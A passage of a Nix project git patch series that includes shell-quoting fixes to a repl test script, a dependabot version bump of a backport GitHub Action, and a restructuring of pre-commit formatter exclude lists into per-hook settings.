     echo "$replOutput" | grepQuiet -s "while evaluating the file" \
       || fail "nix repl --show-trace doesn't show the trace"
@@ -48,7 +52,7 @@ testRepl () {
     nix repl "${nixArgs[@]}" 2>&1 <<< "builtins.currentSystem" \
       | grep "$(nix-instantiate --eval -E 'builtins.currentSystem')"
 
-    expectStderr 1 nix repl ${testDir}/simple.nix \
+    expectStderr 1 nix repl "${testDir}/simple.nix" \
       | grepQuiet -s "error: path '$testDir/simple.nix' is not a flake"
 }
 
@@ -63,10 +67,11 @@ stripColors () {
 }
 
 testReplResponseGeneral () {
-    local grepMode="$1"; shift
-    local commands="$1"; shift
-    local expectedResponse="$1"; shift
-    local response="$(nix repl "$@" <<< "$commands" | stripColors)"
+    local grepMode commands expectedResponse response
+    grepMode="$1"; shift
+    commands="$1"; shift
+    expectedResponse="$1"; shift
+    response="$(nix repl "$@" <<< "$commands" | stripColors)"
     echo "$response" | grepQuiet "$grepMode" -s "$expectedResponse" \
       || fail "repl command set:
 
@@ -91,6 +96,8 @@ testReplResponseNoRegex () {
 }
 
 # :a uses the newest version of a symbol
+#
+# shellcheck disable=SC2016
 testReplResponse '
 :a { a = "1"; }
 :a { a = "2"; }
@@ -101,6 +108,8 @@ testReplResponse '
 # note the escaped \,
 #    \\
 # because the second argument is a regex
+#
+# shellcheck disable=SC2016
 testReplResponseNoRegex '
 "$" + "{hi}"
 ' '"\${hi}"'
@@ -108,12 +117,12 @@ testReplResponseNoRegex '
 testReplResponse '
 drvPath
 ' '".*-simple.drv"' \
---file $testDir/simple.nix
+--file "$testDir/simple.nix"
 
 testReplResponse '
 drvPath
 ' '".*-simple.drv"' \
---file $testDir/simple.nix --experimental-features 'ca-derivations'
+--file "$testDir/simple.nix" --experimental-features 'ca-derivations'
 
 mkdir -p flake && cat <<EOF > flake/flake.nix
 {

From d7b04d61a91fab9f97a271fe973d98596fe7a3dd Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Tue, 28 May 2024 13:10:48 +0000
Subject: [PATCH 206/528] Bump zeebe-io/backport-action from 2.5.0 to 3.0.2

Bumps [zeebe-io/backport-action](https://github.com/zeebe-io/backport-action) from 2.5.0 to 3.0.2.
- [Release notes](https://github.com/zeebe-io/backport-action/releases)
- [Commits](https://github.com/zeebe-io/backport-action/compare/v2.5.0...v3.0.2)

---
updated-dependencies:
- dependency-name: zeebe-io/backport-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
---
 .github/workflows/backport.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index 8f83b913c0b..dd110de6c2a 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -21,7 +21,7 @@ jobs:
           fetch-depth: 0
       - name: Create backport PRs
         # should be kept in sync with `version`
-        uses: zeebe-io/backport-action@v2.5.0
+        uses: zeebe-io/backport-action@v3.0.2
         with:
           # Config README: https://github.com/zeebe-io/backport-action#backport-action
           github_token: ${{ secrets.GITHUB_TOKEN }}

From ebc29017fc2971d2dc36007a8d5114e695997923 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 28 May 2024 09:28:06 -0400
Subject: [PATCH 207/528] dev shell: excludes are per hook

As suggested by Robert in
https://github.com/NixOS/nix/pull/10787#discussion_r1617145374
---
 maintainers/flake-module.nix | 1423 +++++++++++++++++-----------------
 1 file changed, 713 insertions(+), 710 deletions(-)

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index dd986e6860e..1f19c673a17 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -10,720 +10,723 @@
     # https://flake.parts/options/pre-commit-hooks-nix.html#options
     pre-commit.settings = {
       hooks = {
-        clang-format.enable = true;
-        shellcheck.enable = true;
-        # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153
-      };
-
-      excludes = [
-        # We don't want to format test data
-        # ''tests/(?!nixos/).*\.nix''
-        ''^tests/unit/[^/]*/data/.*$''
-
-        # Don't format vendored code
-        ''^src/toml11/.*''
-        ''^doc/manual/redirects\.js$''
-        ''^doc/manual/theme/highlight\.js$''
+        clang-format = {
+          enable = true;
+          excludes = [
+            # We don't want to format test data
+            # ''tests/(?!nixos/).*\.nix''
+            ''^tests/unit/[^/]*/data/.*$''
 
-        # We haven't applied formatting to these files yet (C++)
-        ''^doc/manual/redirects\.js$''
-        ''^doc/manual/theme/highlight\.js$''
-        ''^precompiled-headers\.h$''
-        ''^src/build-remote/build-remote\.cc$''
-        ''^src/libcmd/built-path\.cc$''
-        ''^src/libcmd/built-path\.hh$''
-        ''^src/libcmd/command\.cc$''
-        ''^src/libcmd/command\.hh$''
-        ''^src/libcmd/common-eval-args\.cc$''
-        ''^src/libcmd/common-eval-args\.hh$''
-        ''^src/libcmd/editor-for\.cc$''
-        ''^src/libcmd/installable-attr-path\.cc$''
-        ''^src/libcmd/installable-attr-path\.hh$''
-        ''^src/libcmd/installable-derived-path\.cc$''
-        ''^src/libcmd/installable-derived-path\.hh$''
-        ''^src/libcmd/installable-flake\.cc$''
-        ''^src/libcmd/installable-flake\.hh$''
-        ''^src/libcmd/installable-value\.cc$''
-        ''^src/libcmd/installable-value\.hh$''
-        ''^src/libcmd/installables\.cc$''
-        ''^src/libcmd/installables\.hh$''
-        ''^src/libcmd/legacy\.hh$''
-        ''^src/libcmd/markdown\.cc$''
-        ''^src/libcmd/misc-store-flags\.cc$''
-        ''^src/libcmd/repl-interacter\.cc$''
-        ''^src/libcmd/repl-interacter\.hh$''
-        ''^src/libcmd/repl\.cc$''
-        ''^src/libcmd/repl\.hh$''
-        ''^src/libexpr-c/nix_api_expr\.cc$''
-        ''^src/libexpr-c/nix_api_external\.cc$''
-        ''^src/libexpr/attr-path\.cc$''
-        ''^src/libexpr/attr-path\.hh$''
-        ''^src/libexpr/attr-set\.cc$''
-        ''^src/libexpr/attr-set\.hh$''
-        ''^src/libexpr/eval-cache\.cc$''
-        ''^src/libexpr/eval-cache\.hh$''
-        ''^src/libexpr/eval-error\.cc$''
-        ''^src/libexpr/eval-inline\.hh$''
-        ''^src/libexpr/eval-settings\.cc$''
-        ''^src/libexpr/eval-settings\.hh$''
-        ''^src/libexpr/eval\.cc$''
-        ''^src/libexpr/eval\.hh$''
-        ''^src/libexpr/flake/config\.cc$''
-        ''^src/libexpr/flake/flake\.cc$''
-        ''^src/libexpr/flake/flake\.hh$''
-        ''^src/libexpr/flake/flakeref\.cc$''
-        ''^src/libexpr/flake/flakeref\.hh$''
-        ''^src/libexpr/flake/lockfile\.cc$''
-        ''^src/libexpr/flake/lockfile\.hh$''
-        ''^src/libexpr/flake/url-name\.cc$''
-        ''^src/libexpr/function-trace\.cc$''
-        ''^src/libexpr/gc-small-vector\.hh$''
-        ''^src/libexpr/get-drvs\.cc$''
-        ''^src/libexpr/get-drvs\.hh$''
-        ''^src/libexpr/json-to-value\.cc$''
-        ''^src/libexpr/nixexpr\.cc$''
-        ''^src/libexpr/nixexpr\.hh$''
-        ''^src/libexpr/parser-state\.hh$''
-        ''^src/libexpr/pos-table\.hh$''
-        ''^src/libexpr/primops\.cc$''
-        ''^src/libexpr/primops\.hh$''
-        ''^src/libexpr/primops/context\.cc$''
-        ''^src/libexpr/primops/fetchClosure\.cc$''
-        ''^src/libexpr/primops/fetchMercurial\.cc$''
-        ''^src/libexpr/primops/fetchTree\.cc$''
-        ''^src/libexpr/primops/fromTOML\.cc$''
-        ''^src/libexpr/print-ambiguous\.cc$''
-        ''^src/libexpr/print-ambiguous\.hh$''
-        ''^src/libexpr/print-options\.hh$''
-        ''^src/libexpr/print\.cc$''
-        ''^src/libexpr/print\.hh$''
-        ''^src/libexpr/search-path\.cc$''
-        ''^src/libexpr/symbol-table\.hh$''
-        ''^src/libexpr/value-to-json\.cc$''
-        ''^src/libexpr/value-to-json\.hh$''
-        ''^src/libexpr/value-to-xml\.cc$''
-        ''^src/libexpr/value-to-xml\.hh$''
-        ''^src/libexpr/value\.hh$''
-        ''^src/libexpr/value/context\.cc$''
-        ''^src/libexpr/value/context\.hh$''
-        ''^src/libfetchers/attrs\.cc$''
-        ''^src/libfetchers/cache\.cc$''
-        ''^src/libfetchers/cache\.hh$''
-        ''^src/libfetchers/fetch-settings\.cc$''
-        ''^src/libfetchers/fetch-settings\.hh$''
-        ''^src/libfetchers/fetch-to-store\.cc$''
-        ''^src/libfetchers/fetchers\.cc$''
-        ''^src/libfetchers/fetchers\.hh$''
-        ''^src/libfetchers/filtering-source-accessor\.cc$''
-        ''^src/libfetchers/filtering-source-accessor\.hh$''
-        ''^src/libfetchers/fs-source-accessor\.cc$''
-        ''^src/libfetchers/fs-source-accessor\.hh$''
-        ''^src/libfetchers/git-utils\.cc$''
-        ''^src/libfetchers/git-utils\.hh$''
-        ''^src/libfetchers/github\.cc$''
-        ''^src/libfetchers/indirect\.cc$''
-        ''^src/libfetchers/memory-source-accessor\.cc$''
-        ''^src/libfetchers/path\.cc$''
-        ''^src/libfetchers/registry\.cc$''
-        ''^src/libfetchers/registry\.hh$''
-        ''^src/libfetchers/tarball\.cc$''
-        ''^src/libfetchers/tarball\.hh$''
-        ''^src/libfetchers/unix/git\.cc$''
-        ''^src/libfetchers/unix/mercurial\.cc$''
-        ''^src/libmain/common-args\.cc$''
-        ''^src/libmain/common-args\.hh$''
-        ''^src/libmain/loggers\.cc$''
-        ''^src/libmain/loggers\.hh$''
-        ''^src/libmain/progress-bar\.cc$''
-        ''^src/libmain/shared\.cc$''
-        ''^src/libmain/shared\.hh$''
-        ''^src/libmain/unix/stack\.cc$''
-        ''^src/libstore/binary-cache-store\.cc$''
-        ''^src/libstore/binary-cache-store\.hh$''
-        ''^src/libstore/build-result\.hh$''
-        ''^src/libstore/builtins\.hh$''
-        ''^src/libstore/builtins/buildenv\.cc$''
-        ''^src/libstore/builtins/buildenv\.hh$''
-        ''^src/libstore/common-protocol-impl\.hh$''
-        ''^src/libstore/common-protocol\.cc$''
-        ''^src/libstore/common-protocol\.hh$''
-        ''^src/libstore/content-address\.cc$''
-        ''^src/libstore/content-address\.hh$''
-        ''^src/libstore/daemon\.cc$''
-        ''^src/libstore/daemon\.hh$''
-        ''^src/libstore/derivations\.cc$''
-        ''^src/libstore/derivations\.hh$''
-        ''^src/libstore/derived-path-map\.cc$''
-        ''^src/libstore/derived-path-map\.hh$''
-        ''^src/libstore/derived-path\.cc$''
-        ''^src/libstore/derived-path\.hh$''
-        ''^src/libstore/downstream-placeholder\.cc$''
-        ''^src/libstore/downstream-placeholder\.hh$''
-        ''^src/libstore/dummy-store\.cc$''
-        ''^src/libstore/export-import\.cc$''
-        ''^src/libstore/filetransfer\.cc$''
-        ''^src/libstore/filetransfer\.hh$''
-        ''^src/libstore/gc-store\.hh$''
-        ''^src/libstore/globals\.cc$''
-        ''^src/libstore/globals\.hh$''
-        ''^src/libstore/http-binary-cache-store\.cc$''
-        ''^src/libstore/legacy-ssh-store\.cc$''
-        ''^src/libstore/legacy-ssh-store\.hh$''
-        ''^src/libstore/length-prefixed-protocol-helper\.hh$''
-        ''^src/libstore/linux/personality\.cc$''
-        ''^src/libstore/linux/personality\.hh$''
-        ''^src/libstore/local-binary-cache-store\.cc$''
-        ''^src/libstore/local-fs-store\.cc$''
-        ''^src/libstore/local-fs-store\.hh$''
-        ''^src/libstore/log-store\.cc$''
-        ''^src/libstore/log-store\.hh$''
-        ''^src/libstore/machines\.cc$''
-        ''^src/libstore/machines\.hh$''
-        ''^src/libstore/make-content-addressed\.cc$''
-        ''^src/libstore/make-content-addressed\.hh$''
-        ''^src/libstore/misc\.cc$''
-        ''^src/libstore/names\.cc$''
-        ''^src/libstore/names\.hh$''
-        ''^src/libstore/nar-accessor\.cc$''
-        ''^src/libstore/nar-accessor\.hh$''
-        ''^src/libstore/nar-info-disk-cache\.cc$''
-        ''^src/libstore/nar-info-disk-cache\.hh$''
-        ''^src/libstore/nar-info\.cc$''
-        ''^src/libstore/nar-info\.hh$''
-        ''^src/libstore/outputs-spec\.cc$''
-        ''^src/libstore/outputs-spec\.hh$''
-        ''^src/libstore/parsed-derivations\.cc$''
-        ''^src/libstore/path-info\.cc$''
-        ''^src/libstore/path-info\.hh$''
-        ''^src/libstore/path-references\.cc$''
-        ''^src/libstore/path-regex\.hh$''
-        ''^src/libstore/path-with-outputs\.cc$''
-        ''^src/libstore/path\.cc$''
-        ''^src/libstore/path\.hh$''
-        ''^src/libstore/pathlocks\.cc$''
-        ''^src/libstore/pathlocks\.hh$''
-        ''^src/libstore/profiles\.cc$''
-        ''^src/libstore/profiles\.hh$''
-        ''^src/libstore/realisation\.cc$''
-        ''^src/libstore/realisation\.hh$''
-        ''^src/libstore/remote-fs-accessor\.cc$''
-        ''^src/libstore/remote-fs-accessor\.hh$''
-        ''^src/libstore/remote-store-connection\.hh$''
-        ''^src/libstore/remote-store\.cc$''
-        ''^src/libstore/remote-store\.hh$''
-        ''^src/libstore/s3-binary-cache-store\.cc$''
-        ''^src/libstore/s3\.hh$''
-        ''^src/libstore/serve-protocol-impl\.cc$''
-        ''^src/libstore/serve-protocol-impl\.hh$''
-        ''^src/libstore/serve-protocol\.cc$''
-        ''^src/libstore/serve-protocol\.hh$''
-        ''^src/libstore/sqlite\.cc$''
-        ''^src/libstore/sqlite\.hh$''
-        ''^src/libstore/ssh-store-config\.hh$''
-        ''^src/libstore/ssh-store\.cc$''
-        ''^src/libstore/ssh\.cc$''
-        ''^src/libstore/ssh\.hh$''
-        ''^src/libstore/store-api\.cc$''
-        ''^src/libstore/store-api\.hh$''
-        ''^src/libstore/store-dir-config\.hh$''
-        ''^src/libstore/unix/build/derivation-goal\.cc$''
-        ''^src/libstore/unix/build/derivation-goal\.hh$''
-        ''^src/libstore/build/drv-output-substitution-goal\.cc$''
-        ''^src/libstore/build/drv-output-substitution-goal\.hh$''
-        ''^src/libstore/build/entry-points\.cc$''
-        ''^src/libstore/build/goal\.cc$''
-        ''^src/libstore/build/goal\.hh$''
-        ''^src/libstore/unix/build/hook-instance\.cc$''
-        ''^src/libstore/unix/build/local-derivation-goal\.cc$''
-        ''^src/libstore/unix/build/local-derivation-goal\.hh$''
-        ''^src/libstore/build/substitution-goal\.cc$''
-        ''^src/libstore/build/substitution-goal\.hh$''
-        ''^src/libstore/build/worker\.cc$''
-        ''^src/libstore/build/worker\.hh$''
-        ''^src/libstore/unix/builtins/fetchurl\.cc$''
-        ''^src/libstore/unix/builtins/unpack-channel\.cc$''
-        ''^src/libstore/gc\.cc$''
-        ''^src/libstore/unix/local-overlay-store\.cc$''
-        ''^src/libstore/unix/local-overlay-store\.hh$''
-        ''^src/libstore/local-store\.cc$''
-        ''^src/libstore/local-store\.hh$''
-        ''^src/libstore/unix/user-lock\.cc$''
-        ''^src/libstore/unix/user-lock\.hh$''
-        ''^src/libstore/optimise-store\.cc$''
-        ''^src/libstore/unix/pathlocks\.cc$''
-        ''^src/libstore/posix-fs-canonicalise\.cc$''
-        ''^src/libstore/posix-fs-canonicalise\.hh$''
-        ''^src/libstore/uds-remote-store\.cc$''
-        ''^src/libstore/uds-remote-store\.hh$''
-        ''^src/libstore/windows/build\.cc$''
-        ''^src/libstore/worker-protocol-impl\.hh$''
-        ''^src/libstore/worker-protocol\.cc$''
-        ''^src/libstore/worker-protocol\.hh$''
-        ''^src/libutil-c/nix_api_util_internal\.h$''
-        ''^src/libutil/archive\.cc$''
-        ''^src/libutil/archive\.hh$''
-        ''^src/libutil/args\.cc$''
-        ''^src/libutil/args\.hh$''
-        ''^src/libutil/args/root\.hh$''
-        ''^src/libutil/callback\.hh$''
-        ''^src/libutil/canon-path\.cc$''
-        ''^src/libutil/canon-path\.hh$''
-        ''^src/libutil/chunked-vector\.hh$''
-        ''^src/libutil/closure\.hh$''
-        ''^src/libutil/comparator\.hh$''
-        ''^src/libutil/compute-levels\.cc$''
-        ''^src/libutil/config-impl\.hh$''
-        ''^src/libutil/config\.cc$''
-        ''^src/libutil/config\.hh$''
-        ''^src/libutil/current-process\.cc$''
-        ''^src/libutil/current-process\.hh$''
-        ''^src/libutil/english\.cc$''
-        ''^src/libutil/english\.hh$''
-        ''^src/libutil/environment-variables\.cc$''
-        ''^src/libutil/error\.cc$''
-        ''^src/libutil/error\.hh$''
-        ''^src/libutil/exit\.hh$''
-        ''^src/libutil/experimental-features\.cc$''
-        ''^src/libutil/experimental-features\.hh$''
-        ''^src/libutil/file-content-address\.cc$''
-        ''^src/libutil/file-content-address\.hh$''
-        ''^src/libutil/file-descriptor\.cc$''
-        ''^src/libutil/file-descriptor\.hh$''
-        ''^src/libutil/file-path-impl\.hh$''
-        ''^src/libutil/file-path\.hh$''
-        ''^src/libutil/file-system\.cc$''
-        ''^src/libutil/file-system\.hh$''
-        ''^src/libutil/finally\.hh$''
-        ''^src/libutil/fmt\.hh$''
-        ''^src/libutil/fs-sink\.cc$''
-        ''^src/libutil/fs-sink\.hh$''
-        ''^src/libutil/git\.cc$''
-        ''^src/libutil/git\.hh$''
-        ''^src/libutil/hash\.cc$''
-        ''^src/libutil/hash\.hh$''
-        ''^src/libutil/hilite\.cc$''
-        ''^src/libutil/hilite\.hh$''
-        ''^src/libutil/source-accessor\.hh$''
-        ''^src/libutil/json-impls\.hh$''
-        ''^src/libutil/json-utils\.cc$''
-        ''^src/libutil/json-utils\.hh$''
-        ''^src/libutil/linux/cgroup\.cc$''
-        ''^src/libutil/linux/namespaces\.cc$''
-        ''^src/libutil/logging\.cc$''
-        ''^src/libutil/logging\.hh$''
-        ''^src/libutil/lru-cache\.hh$''
-        ''^src/libutil/memory-source-accessor\.cc$''
-        ''^src/libutil/memory-source-accessor\.hh$''
-        ''^src/libutil/pool\.hh$''
-        ''^src/libutil/position\.cc$''
-        ''^src/libutil/position\.hh$''
-        ''^src/libutil/posix-source-accessor\.cc$''
-        ''^src/libutil/posix-source-accessor\.hh$''
-        ''^src/libutil/processes\.hh$''
-        ''^src/libutil/ref\.hh$''
-        ''^src/libutil/references\.cc$''
-        ''^src/libutil/references\.hh$''
-        ''^src/libutil/regex-combinators\.hh$''
-        ''^src/libutil/serialise\.cc$''
-        ''^src/libutil/serialise\.hh$''
-        ''^src/libutil/signals\.hh$''
-        ''^src/libutil/signature/local-keys\.cc$''
-        ''^src/libutil/signature/local-keys\.hh$''
-        ''^src/libutil/signature/signer\.cc$''
-        ''^src/libutil/signature/signer\.hh$''
-        ''^src/libutil/source-accessor\.cc$''
-        ''^src/libutil/source-accessor\.hh$''
-        ''^src/libutil/source-path\.cc$''
-        ''^src/libutil/source-path\.hh$''
-        ''^src/libutil/split\.hh$''
-        ''^src/libutil/suggestions\.cc$''
-        ''^src/libutil/suggestions\.hh$''
-        ''^src/libutil/sync\.hh$''
-        ''^src/libutil/terminal\.cc$''
-        ''^src/libutil/terminal\.hh$''
-        ''^src/libutil/thread-pool\.cc$''
-        ''^src/libutil/thread-pool\.hh$''
-        ''^src/libutil/topo-sort\.hh$''
-        ''^src/libutil/types\.hh$''
-        ''^src/libutil/unix/file-descriptor\.cc$''
-        ''^src/libutil/unix/file-path\.cc$''
-        ''^src/libutil/unix/monitor-fd\.hh$''
-        ''^src/libutil/unix/processes\.cc$''
-        ''^src/libutil/unix/signals-impl\.hh$''
-        ''^src/libutil/unix/signals\.cc$''
-        ''^src/libutil/unix-domain-socket\.cc$''
-        ''^src/libutil/unix/users\.cc$''
-        ''^src/libutil/url-parts\.hh$''
-        ''^src/libutil/url\.cc$''
-        ''^src/libutil/url\.hh$''
-        ''^src/libutil/users\.cc$''
-        ''^src/libutil/users\.hh$''
-        ''^src/libutil/util\.cc$''
-        ''^src/libutil/util\.hh$''
-        ''^src/libutil/variant-wrapper\.hh$''
-        ''^src/libutil/windows/environment-variables\.cc$''
-        ''^src/libutil/windows/file-descriptor\.cc$''
-        ''^src/libutil/windows/file-path\.cc$''
-        ''^src/libutil/windows/processes\.cc$''
-        ''^src/libutil/windows/users\.cc$''
-        ''^src/libutil/windows/windows-error\.cc$''
-        ''^src/libutil/windows/windows-error\.hh$''
-        ''^src/libutil/xml-writer\.cc$''
-        ''^src/libutil/xml-writer\.hh$''
-        ''^src/nix-build/nix-build\.cc$''
-        ''^src/nix-channel/nix-channel\.cc$''
-        ''^src/nix-collect-garbage/nix-collect-garbage\.cc$''
-        ''^src/nix-env/buildenv.nix$''
-        ''^src/nix-env/nix-env\.cc$''
-        ''^src/nix-env/user-env\.cc$''
-        ''^src/nix-env/user-env\.hh$''
-        ''^src/nix-instantiate/nix-instantiate\.cc$''
-        ''^src/nix-store/dotgraph\.cc$''
-        ''^src/nix-store/graphml\.cc$''
-        ''^src/nix-store/nix-store\.cc$''
-        ''^src/nix/add-to-store\.cc$''
-        ''^src/nix/app\.cc$''
-        ''^src/nix/build\.cc$''
-        ''^src/nix/bundle\.cc$''
-        ''^src/nix/cat\.cc$''
-        ''^src/nix/config-check\.cc$''
-        ''^src/nix/config\.cc$''
-        ''^src/nix/copy\.cc$''
-        ''^src/nix/derivation-add\.cc$''
-        ''^src/nix/derivation-show\.cc$''
-        ''^src/nix/derivation\.cc$''
-        ''^src/nix/develop\.cc$''
-        ''^src/nix/diff-closures\.cc$''
-        ''^src/nix/dump-path\.cc$''
-        ''^src/nix/edit\.cc$''
-        ''^src/nix/eval\.cc$''
-        ''^src/nix/flake\.cc$''
-        ''^src/nix/fmt\.cc$''
-        ''^src/nix/hash\.cc$''
-        ''^src/nix/log\.cc$''
-        ''^src/nix/ls\.cc$''
-        ''^src/nix/main\.cc$''
-        ''^src/nix/make-content-addressed\.cc$''
-        ''^src/nix/nar\.cc$''
-        ''^src/nix/optimise-store\.cc$''
-        ''^src/nix/path-from-hash-part\.cc$''
-        ''^src/nix/path-info\.cc$''
-        ''^src/nix/prefetch\.cc$''
-        ''^src/nix/profile\.cc$''
-        ''^src/nix/realisation\.cc$''
-        ''^src/nix/registry\.cc$''
-        ''^src/nix/repl\.cc$''
-        ''^src/nix/run\.cc$''
-        ''^src/nix/run\.hh$''
-        ''^src/nix/search\.cc$''
-        ''^src/nix/sigs\.cc$''
-        ''^src/nix/store-copy-log\.cc$''
-        ''^src/nix/store-delete\.cc$''
-        ''^src/nix/store-gc\.cc$''
-        ''^src/nix/store-info\.cc$''
-        ''^src/nix/store-repair\.cc$''
-        ''^src/nix/store\.cc$''
-        ''^src/nix/unix/daemon\.cc$''
-        ''^src/nix/upgrade-nix\.cc$''
-        ''^src/nix/verify\.cc$''
-        ''^src/nix/why-depends\.cc$''
+            # Don't format vendored code
+            ''^src/toml11/.*''
+            ''^doc/manual/redirects\.js$''
+            ''^doc/manual/theme/highlight\.js$''
 
-        ''^tests/functional/plugins/plugintest\.cc''
-        ''^tests/functional/test-libstoreconsumer/main\.cc''
-        ''^tests/nixos/ca-fd-leak/sender\.c''
-        ''^tests/nixos/ca-fd-leak/smuggler\.c''
-        ''^tests/unit/libexpr-support/tests/libexpr\.hh''
-        ''^tests/unit/libexpr-support/tests/value/context\.cc''
-        ''^tests/unit/libexpr-support/tests/value/context\.hh''
-        ''^tests/unit/libexpr/derived-path\.cc''
-        ''^tests/unit/libexpr/error_traces\.cc''
-        ''^tests/unit/libexpr/eval\.cc''
-        ''^tests/unit/libexpr/flake/flakeref\.cc''
-        ''^tests/unit/libexpr/flake/url-name\.cc''
-        ''^tests/unit/libexpr/json\.cc''
-        ''^tests/unit/libexpr/main\.cc''
-        ''^tests/unit/libexpr/primops\.cc''
-        ''^tests/unit/libexpr/search-path\.cc''
-        ''^tests/unit/libexpr/trivial\.cc''
-        ''^tests/unit/libexpr/value/context\.cc''
-        ''^tests/unit/libexpr/value/print\.cc''
-        ''^tests/unit/libfetchers/public-key\.cc''
-        ''^tests/unit/libstore-support/tests/derived-path\.cc''
-        ''^tests/unit/libstore-support/tests/derived-path\.hh''
-        ''^tests/unit/libstore-support/tests/libstore\.hh''
-        ''^tests/unit/libstore-support/tests/nix_api_store\.hh''
-        ''^tests/unit/libstore-support/tests/outputs-spec\.cc''
-        ''^tests/unit/libstore-support/tests/outputs-spec\.hh''
-        ''^tests/unit/libstore-support/tests/path\.cc''
-        ''^tests/unit/libstore-support/tests/path\.hh''
-        ''^tests/unit/libstore-support/tests/protocol\.hh''
-        ''^tests/unit/libstore/common-protocol\.cc''
-        ''^tests/unit/libstore/content-address\.cc''
-        ''^tests/unit/libstore/derivation\.cc''
-        ''^tests/unit/libstore/derived-path\.cc''
-        ''^tests/unit/libstore/downstream-placeholder\.cc''
-        ''^tests/unit/libstore/machines\.cc''
-        ''^tests/unit/libstore/nar-info-disk-cache\.cc''
-        ''^tests/unit/libstore/nar-info\.cc''
-        ''^tests/unit/libstore/outputs-spec\.cc''
-        ''^tests/unit/libstore/path-info\.cc''
-        ''^tests/unit/libstore/path\.cc''
-        ''^tests/unit/libstore/serve-protocol\.cc''
-        ''^tests/unit/libstore/worker-protocol\.cc''
-        ''^tests/unit/libutil-support/tests/characterization\.hh''
-        ''^tests/unit/libutil-support/tests/hash\.cc''
-        ''^tests/unit/libutil-support/tests/hash\.hh''
-        ''^tests/unit/libutil/args\.cc''
-        ''^tests/unit/libutil/canon-path\.cc''
-        ''^tests/unit/libutil/chunked-vector\.cc''
-        ''^tests/unit/libutil/closure\.cc''
-        ''^tests/unit/libutil/compression\.cc''
-        ''^tests/unit/libutil/config\.cc''
-        ''^tests/unit/libutil/file-content-address\.cc''
-        ''^tests/unit/libutil/git\.cc''
-        ''^tests/unit/libutil/hash\.cc''
-        ''^tests/unit/libutil/hilite\.cc''
-        ''^tests/unit/libutil/json-utils\.cc''
-        ''^tests/unit/libutil/logging\.cc''
-        ''^tests/unit/libutil/lru-cache\.cc''
-        ''^tests/unit/libutil/pool\.cc''
-        ''^tests/unit/libutil/references\.cc''
-        ''^tests/unit/libutil/suggestions\.cc''
-        ''^tests/unit/libutil/tests\.cc''
-        ''^tests/unit/libutil/url\.cc''
-        ''^tests/unit/libutil/xml-writer\.cc''
+            # We haven't applied formatting to these files yet
+            ''^doc/manual/redirects\.js$''
+            ''^doc/manual/theme/highlight\.js$''
+            ''^precompiled-headers\.h$''
+            ''^src/build-remote/build-remote\.cc$''
+            ''^src/libcmd/built-path\.cc$''
+            ''^src/libcmd/built-path\.hh$''
+            ''^src/libcmd/command\.cc$''
+            ''^src/libcmd/command\.hh$''
+            ''^src/libcmd/common-eval-args\.cc$''
+            ''^src/libcmd/common-eval-args\.hh$''
+            ''^src/libcmd/editor-for\.cc$''
+            ''^src/libcmd/installable-attr-path\.cc$''
+            ''^src/libcmd/installable-attr-path\.hh$''
+            ''^src/libcmd/installable-derived-path\.cc$''
+            ''^src/libcmd/installable-derived-path\.hh$''
+            ''^src/libcmd/installable-flake\.cc$''
+            ''^src/libcmd/installable-flake\.hh$''
+            ''^src/libcmd/installable-value\.cc$''
+            ''^src/libcmd/installable-value\.hh$''
+            ''^src/libcmd/installables\.cc$''
+            ''^src/libcmd/installables\.hh$''
+            ''^src/libcmd/legacy\.hh$''
+            ''^src/libcmd/markdown\.cc$''
+            ''^src/libcmd/misc-store-flags\.cc$''
+            ''^src/libcmd/repl-interacter\.cc$''
+            ''^src/libcmd/repl-interacter\.hh$''
+            ''^src/libcmd/repl\.cc$''
+            ''^src/libcmd/repl\.hh$''
+            ''^src/libexpr-c/nix_api_expr\.cc$''
+            ''^src/libexpr-c/nix_api_external\.cc$''
+            ''^src/libexpr/attr-path\.cc$''
+            ''^src/libexpr/attr-path\.hh$''
+            ''^src/libexpr/attr-set\.cc$''
+            ''^src/libexpr/attr-set\.hh$''
+            ''^src/libexpr/eval-cache\.cc$''
+            ''^src/libexpr/eval-cache\.hh$''
+            ''^src/libexpr/eval-error\.cc$''
+            ''^src/libexpr/eval-inline\.hh$''
+            ''^src/libexpr/eval-settings\.cc$''
+            ''^src/libexpr/eval-settings\.hh$''
+            ''^src/libexpr/eval\.cc$''
+            ''^src/libexpr/eval\.hh$''
+            ''^src/libexpr/flake/config\.cc$''
+            ''^src/libexpr/flake/flake\.cc$''
+            ''^src/libexpr/flake/flake\.hh$''
+            ''^src/libexpr/flake/flakeref\.cc$''
+            ''^src/libexpr/flake/flakeref\.hh$''
+            ''^src/libexpr/flake/lockfile\.cc$''
+            ''^src/libexpr/flake/lockfile\.hh$''
+            ''^src/libexpr/flake/url-name\.cc$''
+            ''^src/libexpr/function-trace\.cc$''
+            ''^src/libexpr/gc-small-vector\.hh$''
+            ''^src/libexpr/get-drvs\.cc$''
+            ''^src/libexpr/get-drvs\.hh$''
+            ''^src/libexpr/json-to-value\.cc$''
+            ''^src/libexpr/nixexpr\.cc$''
+            ''^src/libexpr/nixexpr\.hh$''
+            ''^src/libexpr/parser-state\.hh$''
+            ''^src/libexpr/pos-table\.hh$''
+            ''^src/libexpr/primops\.cc$''
+            ''^src/libexpr/primops\.hh$''
+            ''^src/libexpr/primops/context\.cc$''
+            ''^src/libexpr/primops/fetchClosure\.cc$''
+            ''^src/libexpr/primops/fetchMercurial\.cc$''
+            ''^src/libexpr/primops/fetchTree\.cc$''
+            ''^src/libexpr/primops/fromTOML\.cc$''
+            ''^src/libexpr/print-ambiguous\.cc$''
+            ''^src/libexpr/print-ambiguous\.hh$''
+            ''^src/libexpr/print-options\.hh$''
+            ''^src/libexpr/print\.cc$''
+            ''^src/libexpr/print\.hh$''
+            ''^src/libexpr/search-path\.cc$''
+            ''^src/libexpr/symbol-table\.hh$''
+            ''^src/libexpr/value-to-json\.cc$''
